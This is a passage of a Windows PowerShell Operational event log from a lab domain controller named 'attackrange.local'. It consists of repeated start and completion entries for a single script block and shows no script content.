Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468678
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468677
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468676
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468675
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468674
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468673
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468672
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468671
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468670
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468669
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468668
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468667
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468666
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468665
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468664
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468663
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468662
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468661
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468660
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468659
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468658
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468657
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468656
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468655
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468654
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468653
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468652
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468651
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468650
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468649
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468648
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468647
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468646
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468645
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468920
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468919
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468918
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468917
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468916
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468915
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468914
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468913
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468912
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468911
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468910
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468909
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468908
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468907
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468906
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468905
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468904
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468903
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468902
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468901
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468900
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
